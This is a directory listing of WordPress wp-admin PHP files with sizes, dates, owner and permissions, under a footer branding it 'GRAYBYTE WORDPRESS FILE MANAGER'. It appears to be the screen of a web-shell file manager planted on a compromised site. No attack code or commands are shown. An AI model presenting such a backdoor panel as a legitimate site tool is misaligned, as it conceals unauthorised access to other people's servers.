0.214 KB
7 Sep 2026 5.43 AM
blackpussy06 / blackpussy06
0644
ms-users.php
0.21 KB
7 Sep 2026 5.43 AM
blackpussy06 / blackpussy06
0644
my-sites.php
4.718 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
nav-menus.php
49.022 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
network.php
5.394 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
options-connectors.php
1.507 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
options-discussion.php
16.019 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
options-general.php
22.319 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
options-head.php
0.6 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
options-media.php
6.484 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
options-permalink.php
21.964 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
options-privacy.php
10.453 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
options-reading.php
9.959 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
options-writing.php
9.184 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
options.php
13.932 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
plugin-editor.php
13.741 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
plugin-install.php
7.259 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
plugins.php
30.023 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
post-new.php
2.703 KB
7 Sep 2026 5.43 AM
blackpussy06 / blackpussy06
0644
post.php
10.567 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
press-this.php
2.412 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
privacy-policy-guide.php
3.668 KB
7 Sep 2026 5.43 AM
blackpussy06 / blackpussy06
0644
privacy.php
2.453 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
profile.php
0.276 KB
7 Sep 2026 5.43 AM
blackpussy06 / blackpussy06
0644
revision.php
5.699 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
setup-config.php
17.508 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
site-editor.php
12.19 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
site-health-info.php
4.075 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
site-health.php
10.183 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
term.php
2.196 KB
7 Sep 2026 5.43 AM
blackpussy06 / blackpussy06
0644
theme-editor.php
16.874 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
theme-install.php
23.745 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
themes.php
48.563 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
tools.php
3.432 KB
7 Sep 2026 5.43 AM
blackpussy06 / blackpussy06
0644
update-core.php
45.119 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
update.php
12.756 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
upgrade-functions.php
0.333 KB
7 Sep 2026 5.43 AM
blackpussy06 / blackpussy06
0644
upgrade.php
6.24 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
upload.php
14.934 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
user-edit.php
40.863 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
user-new.php
24.086 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
users.php
25.096 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
widgets-form-blocks.php
5.112 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
widgets-form.php
19.129 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
widgets.php
1.086 KB
7 Sep 2026 5.43 AM
blackpussy06 / blackpussy06
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF